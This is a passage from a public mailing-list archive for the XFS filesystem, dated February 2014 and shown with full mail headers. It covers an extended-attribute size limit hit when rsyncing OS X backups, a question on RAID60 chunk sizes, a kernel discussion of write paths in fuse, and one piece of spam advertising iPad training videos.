lsetxattr(""/srv/nas/home/apple_bak_rsync/xxxxxx/Pictures/iPhoto >> Library/Database/BigBlobs.apdb"","user.com.apple.FinderInfo") failed: >> Operation not permitted (1) >> >> But also rsync can give this error. >> rsync: rsync_xal_set: >> lsetxattr(""/srv/danne/extern2/1000_EXT/2013/2013-03-05/IMG_6872-Edit.tif"","user.com.apple.ResourceFork") >> failed: Argument list too long (7) >> >> Is this 2 errors related? > > Those errors are unrelated IMO, the first one is due to the permission rules but > I'm not sure the root cause, the second one is occurred as the EA value is larger > than 64K I guess. > >> >> I will make a bug report for rsync also that it should not try to copy >> files with EA bigger then the destination can handle. But it would be >> great if XFS could handle this files and be fully compatible with OS X >> backups. > > 64K size is not limited by XFS directly, it is limited by VFS setxattr syscall. > IOWs, EA set operation is not yet get into XFS when "Argument list too long" error > is returned, so I think you would ran into the same error on other file systems > which are support 64K EA value size as well. To be more precise, larger EA set operation would not works via setxattr(2) on Linux regardless of the underlying file systems :). Thanks, -Jeff From sblood@gmail.com Sun Feb 2 09:31:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F3AAB7FBC for ; Sun, 2 Feb 2014 09:31:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B14588F8040 for ; Sun, 2 Feb 2014 07:31:44 -0800 (PST) X-ASG-Debug-ID: 1391355101-04bdf01220ab200001-NocioJ Received: from mail-lb0-f170.google.com (mail-lb0-f170.google.com [209.85.217.170]) by cuda.sgi.com with ESMTP id alvkdvNlBXsd1VU7 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 02 Feb 2014 07:31:42 -0800 (PST) X-Barracuda-Envelope-From: sblood@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.217.170 X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.170] Received: by mail-lb0-f170.google.com with SMTP id u14so4771439lbd.29 for ; Sun, 02 Feb 2014 07:31:41 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.170] X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.170] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :message-id:references:to; bh=Ck83SE3r1/KJrTnnOs/clcshl5OkrnM6VOQOsA2nPdM=; b=vMFjuSMKHV6D95DT2qfu4lR/XSbMkLorT3Dm9ym7ZrqfDdZuqx4iGb40ky3tKggtDS nZRISDGPCZKyDSQMvwqfgjhKgu+7wupFRh4OyQKFX2G39hP2/avN65WOZh6UbHYznP81 K4AY8ILS68sY+BCfgzpog+WUO2LtkkgTdErGQU0cpug3WfI9oKT3XWPmtJcV4dTgNVfD 5yQBaQ3MoWPDcYnyOLiIVaKI0Dt7KHQeJSI2ai/3UQx1XZ+KroAolknbkKyBA2cBhOZ3 0b5rlfFck28TEX9BZZGR+okqg+FJjtAFWMmAns6NHawY2hQKyYamu5h7b1LLI0gt2yVB a0iQ== X-Received: by 10.112.125.225 with SMTP id mt1mr1399140lbb.35.1391355101009; Sun, 02 Feb 2014 07:31:41 -0800 (PST) Received: from [192.168.0.13] (c213-89-170-159.bredband.comhem.se. [213.89.170.159]) by mx.google.com with ESMTPSA id mx3sm17895255lbc.14.2014.02.02.07.31.39 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 02 Feb 2014 07:31:40 -0800 (PST) Content-Type: multipart/alternative; boundary="Apple-Mail=_5F7A9653-2687-445A-9723-60EC8A35F82C" Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Extended attributes limit in Linux From: Sun_Blood X-ASG-Orig-Subj: Re: Extended attributes limit in Linux In-Reply-To: <52EE62AD.4030509@oracle.com> Date: Sun, 2 Feb 2014 16:31:33 +0100 Cc: Vyacheslav Dubeyko , xfs@oss.sgi.com Message-Id: <55DCB69E-4C06-4D70-87F8-949D2C1DDB9C@gmail.com> References: <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> <52EB960D.607@oracle.com> <1391172723.4275.11.camel@ubuntu> <52EBA783.1080801@oracle.com> <1391178074.4275.19.camel@ubuntu> <52EBB431.50301@oracle.com> <6C94A326-DADE-4A32-97F6-AE84E9F57777@gmail.com> <1D87A7C9-988F-4F61-A577-67300DAF2554@dubeyko.com> <14FE2575-4C84-43B8-9992-F91ABE2B6F26@gmail.com> <52EE6069.7090905@oracle.com> <52EE62AD.4030509@oracle.com> To: Jeff Liu X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: mail-lb0-f170.google.com[209.85.217.170] X-Barracuda-Start-Time: 1391355102 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144753 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --Apple-Mail=_5F7A9653-2687-445A-9723-60EC8A35F82C Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On 2 feb 2014, at 16:22, Jeff Liu wrote: >=20 > On 02/02 2014 23:12 PM, Jeff Liu wrote: >>=20 >> On 02/02 2014 22:33 PM, Sun_Blood wrote: > >>>>> FYI, Example of output from one of the failing files. First from = OS X >>>>> and then same file after failed copy to XFS. >>>>>=20 >>>>> OS X Maverik: >>>>> file: "/Users/username/Pictures/iPhoto >>>>> Library/Database/apdb/BigBlobs.apdb" >>>>> type: "\0\0\0\0" >>>>> creator: "\0\0\0\0" >>>>> attributes: avbstclinmedz >>>>> created: 01/25/2014 11:43:17 >>>>> modified: 01/28/2014 20:02:46 >>>>>=20 >>>>>=20 >>>>> Ubunutu=20 >>>>> getfattr: Removing leading '/' from absolute path names >>>>> # file: srv/nas/home/apple_bak_rsync/username/Pictures/iPhoto >>>>> Library/Database/BigBlobs.apdb >>>>> user.com.apple.quarantine=3D"0006;52e39545;iPhoto;=94 >>>>=20 >>>>=20 >>>> Sorry, but I don't quite follow your thought. What do you show by = this >>>> output? >>>> What do you mean? Could you describe in more details? >>>>=20 >>>> Thanks, >>>> Vyacheslav Dubeyko. >>>=20 >>> Sorry late reply. The output is just to show what happen after I >>> transfer a file from OS X to XFS that has EA bigger then 64k(I = think). >>> When I try for example to rsync this file from OS X to Linux XFS I = get >>> this error: >>> rsync: rsync_xal_set: >>> lsetxattr(""/srv/nas/home/apple_bak_rsync/xxxxxx/Pictures/iPhoto >>> Library/Database/BigBlobs.apdb"","user.com.apple.FinderInfo") = failed: >>> Operation not permitted (1) >>>=20 >>> But also rsync can give this error. >>> rsync: rsync_xal_set: >>> = lsetxattr(""/srv/danne/extern2/1000_EXT/2013/2013-03-05/IMG_6872-Edit.tif"= ","user.com.apple.ResourceFork") >>> failed: Argument list too long (7) >>>=20 >>> Is this 2 errors related? >>=20 >> Those errors are unrelated IMO, the first one is due to the = permission rules but >> I'm not sure the root cause, the second one is occurred as the EA = value is larger >> than 64K I guess. >>=20 >>>=20 >>> I will make a bug report for rsync also that it should not try to = copy >>> files with EA bigger then the destination can handle. But it would = be >>> great if XFS could handle this files and be fully compatible with OS = X >>> backups. >>=20 >> 64K size is not limited by XFS directly, it is limited by VFS = setxattr syscall. >> IOWs, EA set operation is not yet get into XFS when "Argument list = too long" error >> is returned, so I think you would ran into the same error on other = file systems >> which are support 64K EA value size as well. >=20 > To be more precise, larger EA set operation would not works via = setxattr(2) on Linux > regardless of the underlying file systems :). Correct I did a quick test on ext4 and got the same fault. >=20 > Thanks, > -Jeff So to be able to support this type of EA that OS X produce we need a = change in the Linux kernel? Because XFS does handle it and is not the = problem here.= --Apple-Mail=_5F7A9653-2687-445A-9723-60EC8A35F82C Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=windows-1252
On 2 feb 2014, at 16:22, Jeff Liu = <jeff.liu@oracle.com> = wrote:


On 02/02 2014 23:12 PM, Jeff = Liu wrote:

On 02/02 2014 22:33 PM, = Sun_Blood wrote:
<snip>
FYI, Example of output from one = of the failing files. First from OS X
and then same file after failed = copy to XFS.

OS X Maverik:
file: = "/Users/username/Pictures/iPhoto
Library/Database/apdb/BigBlobs.apdb"type: "\0\0\0\0"
creator: "\0\0\0\0"
attributes: = avbstclinmedz
created: 01/25/2014 11:43:17
modified: 01/28/2014 = 20:02:46


Ubunutu 
getfattr: Removing = leading '/' from absolute path names
# file: = srv/nas/home/apple_bak_rsync/username/Pictures/iPhoto
Library/Database/= BigBlobs.apdb
user.com.apple.quarantine=3D"0006;52e39545;iPhoto;=94
=


Sorry, but I don't quite follow your thought. What = do you show by this
output?
What do you mean? Could you describe = in more details?

Thanks,
Vyacheslav = Dubeyko.

Sorry late reply. The output is just to = show what happen after I
transfer a file from OS X to XFS that has EA = bigger then 64k(I think).
When I try for example to rsync this file = from OS X to Linux XFS I get
this error:
rsync: = rsync_xal_set:
lsetxattr(""/srv/nas/home/apple_bak_rsync/xxxxxx/Picture= s/iPhoto
Library/Database/BigBlobs.apdb"","user.com.apple.FinderInfo") = failed:
Operation not permitted (1)

But also rsync can give = this error.
rsync: = rsync_xal_set:
lsetxattr(""/srv/danne/extern2/1000_EXT/2013/2013-03-05/= IMG_6872-Edit.tif"","user.com.apple.ResourceFork")
failed: Argument = list too long (7)

Is this 2 errors = related?

Those errors are unrelated IMO, the first = one is due to the permission rules but
I'm not sure the root cause, = the second one is occurred as the EA value is larger
than 64K I = guess.


I will make a bug report for = rsync also that it should not try to copy
files with EA bigger then = the destination can handle. But it would be
great if XFS could handle = this files and be fully compatible with OS = X
backups.

64K size is not limited by XFS = directly, it is limited by VFS setxattr syscall.
IOWs, EA set = operation is not yet get into XFS when "Argument list too long" = error
is returned, so I think you would ran into the same error on = other file systems
which are support 64K EA value size as = well.

To be more precise, larger EA set operation = would not works via setxattr(2) on Linux
regardless of the underlying = file systems :).

Correct I did = a quick test on ext4 and got the same fault.


Thanks,
-Jeff

So to be = able to support this type of EA that OS X produce we need a change in = the Linux kernel? Because XFS does handle it and is not the problem = here.
= --Apple-Mail=_5F7A9653-2687-445A-9723-60EC8A35F82C-- From lists@colorremedies.com Sun Feb 2 12:09:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 34EDA7F8C for ; Sun, 2 Feb 2014 12:09:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1396B304032 for ; Sun, 2 Feb 2014 10:09:16 -0800 (PST) X-ASG-Debug-ID: 1391364554-04cb6c6de1a0f60001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id Huzfbxaty5wb1Tq6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 10:09:14 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-50-183-15-223.hsd1.co.comcast.net ([50.183.15.223]:49196 helo=[192.168.1.120]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WA1Tk-0020kZ-Uz; Sun, 02 Feb 2014 11:09:13 -0700 Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. From: Chris Murphy X-ASG-Orig-Subj: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <52ED6AAF.6030703@hardwarefreak.com> Date: Sun, 2 Feb 2014 11:09:11 -0700 Cc: xfs Content-Transfer-Encoding: quoted-printable Message-Id: <98961D3F-769D-44A9-98A8-FC7867893138@colorremedies.com> References: <7A732267-B34F-4286-9B49-3AF8767C0B89@colorremedies.com> <52ED4143.6090303@hardwarefreak.com> <52ED6AAF.6030703@hardwarefreak.com> To: "stan@hardwarefreak.com Hoeppner" X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1391364554 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144757 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Feb 1, 2014, at 2:44 PM, Stan Hoeppner = wrote: > On 2/1/2014 2:55 PM, Chris Murphy wrote: >>=20 >> On Feb 1, 2014, at 11:47 AM, Stan Hoeppner >> wrote: >>=20 >>> On 1/31/2014 12:35 AM, Chris Murphy wrote: >>>> Hopefully this is an acceptable way to avoid thread jacking, by=20 >>>> renaming the subject=85 >>>>=20 >>>> On Jan 30, 2014, at 10:58 PM, Stan Hoeppner >>>> wrote: >>>>>=20 >>>>> RAID60 is a nested RAID level just like RAID10 and RAID50. It >>>>> is a stripe, or RAID0, across multiple primary array types, >>>>> RAID6 in this case. The stripe width of each 'inner' RAID6 >>>>> becomes the stripe unit of the 'outer' RAID0 array: >>>>>=20 >>>>> RAID6 geometry 128KB * 12 =3D 1536KB RAID0 geometry 1536KB * = 3 >>>>> =3D 4608KB >>>>=20 >>>> My question is on this particular point. If this were hardware >>>> raid6, but I wanted to then stripe using md raid0, using the >>>> numbers above would I choose a raid0 chunk size of 1536KB? How >>>> critical is this value for, e.g. only large streaming read/write >>>> workloads? If it were smaller, say 256KB or even 32KB, would >>>> there be a significant performance consequence? >>>=20 >>> You say 'if it were smaller...256/32KB'. What is "it" >>> referencing? >>=20 >> it =3D chunk size for md raid0. >>=20 >> So chunk size 128KB * 12 disks, hardware raid6. Chunk size 32KB [1] >> striping the raid6's with md raid0. >=20 > Frankly, I don't know whether you're pulling my chain, or really don't > understand the concept of nested striping. I'll assume the latter. The former would be inappropriate, and the latter is more plausible = anyway, so this is the better assumption. > When nesting stripes, the chunk size of the outer stripe is -always- > equal to the stripe width of each inner striped array, as I clearly > demonstrated earlier: Except when it's hardware raid6, and software raid0, and the user = doesn't know they need to specify the chunk size in this manner. And = instead they use the mdadm default. What you're saying makes complete = sense, but I don't think this is widespread knowledge or well documented = anywhere that regular end users would know this by and large. >=20 > 3 RAID6 arrays > RAID6 geometry 128KB * 12 =3D 1536KB > RAID60 geometry 1536KB * 3 =3D 4608KB >=20 > mdadm allows you enough rope to hang yourself in this situation = because > it doesn't know the geometry of the underlying hardware arrays, and = has > no code to do sanity checking even if it did. Thus it can't save you > from yourself. That's right, and this is the exact scenario I'm suggesting. Depending = on version, mdadm has two possible default chunk sizes, either 64KB or = 512KB. How bad is the resulting performance hit? Would a 64KB chunk be equally = bad as a 512KB chunk? Or is this only quantifiable with testing (i.e. it = could be a negligible performance hit, or it could be huge)? > RAID HBA and SAN controller firmware simply won't allow this. They > configure the RAID60 chunk size automatically equal to the RAID6 = stripe > width. If some vendor's firmware allows one to manually enter the > RAID60 chunk size with a value different from the RAID6 stripe width, > stay away from that vendor. I understand that, but the scenario and question I'm posing is for = multiple hardware raid6's striped with md raid0. The use case are = enclosures with raid6 but not raid60, so the enclosures are striped = using software raid. I'm trying to understand the consequence magnitude = when choosing an md raid0 chunk size other than the correct one. Is this = a 5% performance hit, or a 30% performance hit? Chris Murphy From property@web.serenity-host.com Sun Feb 2 13:17:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE, HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 32F857F89 for ; Sun, 2 Feb 2014 13:17:26 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 106B08F8037 for ; Sun, 2 Feb 2014 11:17:22 -0800 (PST) X-ASG-Debug-ID: 1391368640-04cbb00c289d800001-w1Z2WR Received: from web.serenity-host.com (ds-07793.ds-10.com [46.32.250.236]) by cuda.sgi.com with ESMTP id AKH3tv83oMZhEJQg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 11:17:21 -0800 (PST) X-Barracuda-Envelope-From: property@web.serenity-host.com X-Barracuda-Apparent-Source-IP: 46.32.250.236 Received: from property by web.serenity-host.com with local (Exim 4.82) (envelope-from ) id 1WA2Xg-0000br-4r for linux-xfs@oss.sgi.com; Sun, 02 Feb 2014 19:17:20 +0000 To: linux-xfs@oss.sgi.com Subject: Step-By-Step IPad Video Training From: sara lone X-ASG-Orig-Subj: Step-By-Step IPad Video Training MIME-Version: 1.0 Content-Type: text/html Message-Id: Date: Sun, 02 Feb 2014 19:17:20 +0000 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - web.serenity-host.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [519 520] / [47 12] X-AntiAbuse: Sender Address Domain - web.serenity-host.com X-Get-Message-Sender-Via: web.serenity-host.com: authenticated_id: property/only user confirmed/virtual account not confirmed X-Barracuda-Connect: ds-07793.ds-10.com[46.32.250.236] X-Barracuda-Start-Time: 1391368641 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.05 X-Barracuda-Spam-Status: No, SCORE=1.05 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144759 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag

Hi ( iPad User )

Do You Sick of not knowing how to fully use your iPad?

You don't have to be... Check out these new easy to follow training videos:

===>> iPad Video Lessons

Are you like 87% of other iPad users that don't use their new gadget to it's full potential?
Well, you can change this today .. just start watching the video training program
Here you'll be able to become an IPad master by following along with the step-by-step video tutorials
showing you all kinds of cool things your iPad can do.

===>> Learn How To use Your Ipad With This Step-By-Step Video Training

You'll be able to impress your family and friends with all the cool stuff you can do on your new ipad.

Have fun

Sara Loiner

From viro@ftp.linux.org.uk Sun Feb 2 13:21:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D9EF87F8C for ; Sun, 2 Feb 2014 13:21:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9AE738F8040 for ; Sun, 2 Feb 2014 11:21:20 -0800 (PST) X-ASG-Debug-ID: 1391368877-04bdf0121fb07c0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id OTzIMAQqqyc7sM78 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 11:21:18 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WA2bI-0005so-1p; Sun, 02 Feb 2014 19:21:04 +0000 Date: Sun, 2 Feb 2014 19:21:04 +0000 From: Al Viro To: Linus Torvalds Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Dave Kleikamp , Anton Altaparmakov , Miklos Szeredi Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140202192104.GA21959@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140201224301.GS10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391368878 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144760 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 01, 2014 at 10:43:01PM +0000, Al Viro wrote: > * pipe_buffer_operations ->map()/->unmap() should die; let the caller do > k{,un}map{,_atomic}(). All instances have the same method there and > there's no point to make it different. PIPE_BUF_FLAG_ATOMIC should also > go. BTW, another pile of code interesting in that respect (i.e. getting that interface right) is fs/fuse/dev.c; I don't like the way it's playing with get_user_pages_fast() there, and I doubt that sharing the code for read and write side as it's done there makes much sense, but it's definitely going to be a test for any API of that kind. It *does* try to unify write-from-iovec with write-from-array-of-pages and similar for reads; the interesting issue is that unlike the usual write-to-pagecache we can have many chunks picked from one page and we'd rather avoid doing kmap_atomic/kunmap_atomic for each of those. I suspect that the right answer is, in addition to a primitive that does copying from iov_iter to have "copy from iov_iter and be ready to copy more from soon after" + "done copying"; for the "array of pages" the former would be allowed to leave the current page mapped, skipping kmap_atomic() on the next call. And the latter would unmap. of course. The caller is responsible for not blocking or doing unbalanced map/unmap until it's said "done copying". BTW, is there any reason why fuse/dev.c doesn't use atomic kmaps for everything? After all, as soon as we'd done kmap() in there, we grab a spinlock and don't drop it until just before kunmap(). With nothing by memcpy() done in between... Miklos? AFAICS, we only win from switching to kmap_atomic there - we can't block anyway, we don't need it to be visible on other CPUs and nesting isn't a problem. Looks like it'll be cheaper in highmem cases and do exactly the same thing as now for non-highmem... Comments? From viro@ftp.linux.org.uk Sun Feb 2 13:23:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 806637F8C for ; Sun, 2 Feb 2014 13:23:16 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 48B338F8040 for ; Sun, 2 Feb 2014 11:23:16 -0800 (PST) X-ASG-Debug-ID: 1391368993-04bdf0121eb0840001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id ossG0CMsNypaWmtX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 11:23:14 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WA2dG-0005ti-K5; Sun, 02 Feb 2014 19:23:06 +0000 Date: Sun, 2 Feb 2014 19:23:06 +0000 From: Al Viro To: Linus Torvalds Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Dave Kleikamp , Anton Altaparmakov , Miklos Szeredi Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140202192306.GU10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <20140202192104.GA21959@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140202192104.GA21959@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391368993 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144760 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 02, 2014 at 07:21:04PM +0000, Al Viro wrote: > BTW, is there any reason why fuse/dev.c doesn't use atomic kmaps for > everything? After all, as soon as we'd done kmap() in there, we > grab a spinlock and don't drop it until just before kunmap(). With > nothing by memcpy() done in between... Miklos? AFAICS, we only win s/by/but/ - sorry... > from switching to kmap_atomic there - we can't block anyway, we don't > need it to be visible on other CPUs and nesting isn't a problem. > Looks like it'll be cheaper in highmem cases and do exactly the same > thing as now for non-highmem... Comments? > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From david@fromorbit.com Sun Feb 2 15:22:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 767C37F7B for ; Sun, 2 Feb 2014 15:22:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 505E08F8037 for ; Sun, 2 Feb 2014 13:22:02 -0800 (PST) 